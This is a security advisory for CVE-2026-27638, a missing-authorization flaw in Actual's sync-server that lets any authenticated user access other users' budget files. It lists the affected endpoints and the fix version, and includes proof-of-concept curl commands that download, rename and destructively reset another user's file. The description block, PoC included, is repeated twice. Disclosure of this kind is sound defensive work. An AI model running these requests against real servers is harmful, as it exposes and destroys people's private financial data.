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5.7
Actual Server Sync API Allows Cross-User Access to Budget Files
CVE-2026-27638
GHSA-qmjj-p7m9-wjrv
Summary
In multi-user mode, any authenticated user can access, modify, and overwrite files belonging to other users through certain API endpoints. This can happen because the API doesn't check if the user has permission to access the file. Affected endpoints include downloading, uploading, syncing, and renaming files. To fix this, the API should be updated to verify that the user owns or has access to the file before allowing any actions.
What to do
- Update actual-app sync-server to version 26.2.1.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| actual-app | sync-server | <= 26.2.0 | 26.2.1 |
| actualbudget | actual | <= 26.2.1 | – |
Original title
@actual-app/sync-server: Missing authorization in sync endpoints allows cross-user budget file access in multi-user mode
Original description
In multi-user mode (OpenID), the sync API endpoints (`/sync/*`) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.
## Affected Code
File: `packages/sync-server/src/app-sync.ts`
The `validateSessionMiddleware` on line 31 confirms the user is authenticated, but individual endpoints only check that the file *exists* (via `verifyFileExists`), never that the requesting user *owns* or *has access to* the file.
Compare with `POST /sync/delete-user-file` (lines 394-430) which correctly checks:
```js
const isOwner = file.owner === userId;
const isServerAdmin = isAdmin(userId);
if (!isOwner && !isServerAdmin) { ... }
```
This check is missing from all other endpoints.
## Affected Endpoints
- `GET /sync/download-user-file` - download any budget file
- `POST /sync/upload-user-file` - overwrite any budget file
- `POST /sync/sync` - read/write sync messages of any file
- `POST /sync/user-get-key` - read encryption key info
- `POST /sync/user-create-key` - change encryption key
- `POST /sync/reset-user-file` - reset sync state
- `POST /sync/update-user-filename` - rename file
- `GET /sync/get-user-file-info` - read file metadata
## PoC
Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId `abc-123`.
Bob downloads Alice's budget:
```bash
curl -X GET 'https://actual.example.com/sync/download-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123' \
-o stolen-budget.blob
```
Bob reads Alice's file metadata:
```bash
curl -X GET 'https://actual.example.com/sync/get-user-file-info' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123'
```
Bob renames Alice's budget:
```bash
curl -X POST 'https://actual.example.com/sync/update-user-filename' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123", "name": "pwned"}'
```
Bob resets Alice's sync state (destructive):
```bash
curl -X POST 'https://actual.example.com/sync/reset-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123"}'
```
File IDs can be discovered by admin users via `GET /sync/list-user-files` (admins see all files), through `user_access` sharing, or by guessing.
## Impact
In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.
## Affected Code
File: `packages/sync-server/src/app-sync.ts`
The `validateSessionMiddleware` on line 31 confirms the user is authenticated, but individual endpoints only check that the file *exists* (via `verifyFileExists`), never that the requesting user *owns* or *has access to* the file.
Compare with `POST /sync/delete-user-file` (lines 394-430) which correctly checks:
```js
const isOwner = file.owner === userId;
const isServerAdmin = isAdmin(userId);
if (!isOwner && !isServerAdmin) { ... }
```
This check is missing from all other endpoints.
## Affected Endpoints
- `GET /sync/download-user-file` - download any budget file
- `POST /sync/upload-user-file` - overwrite any budget file
- `POST /sync/sync` - read/write sync messages of any file
- `POST /sync/user-get-key` - read encryption key info
- `POST /sync/user-create-key` - change encryption key
- `POST /sync/reset-user-file` - reset sync state
- `POST /sync/update-user-filename` - rename file
- `GET /sync/get-user-file-info` - read file metadata
## PoC
Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId `abc-123`.
Bob downloads Alice's budget:
```bash
curl -X GET 'https://actual.example.com/sync/download-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123' \
-o stolen-budget.blob
```
Bob reads Alice's file metadata:
```bash
curl -X GET 'https://actual.example.com/sync/get-user-file-info' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123'
```
Bob renames Alice's budget:
```bash
curl -X POST 'https://actual.example.com/sync/update-user-filename' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123", "name": "pwned"}'
```
Bob resets Alice's sync state (destructive):
```bash
curl -X POST 'https://actual.example.com/sync/reset-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123"}'
```
File IDs can be discovered by admin users via `GET /sync/list-user-files` (admins see all files), through `user_access` sharing, or by guessing.
## Impact
In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.
nvd CVSS3.1
7.1
nvd CVSS4.0
5.7
Vulnerability type
CWE-862
Missing Authorization
- https://nvd.nist.gov/vuln/detail/CVE-2026-27638
- https://github.com/advisories/GHSA-qmjj-p7m9-wjrv
- https://github.com/actualbudget/actual/commit/9966c024cb75f57943193cac8e42f401ef... Patch
- https://github.com/actualbudget/actual/releases/tag/v26.2.1 Product Release Notes
- https://github.com/actualbudget/actual/security/advisories/GHSA-qmjj-p7m9-wjrv Exploit Vendor Advisory
Published: 27 Feb 2026 · Updated: 12 Mar 2026 · First seen: 6 Mar 2026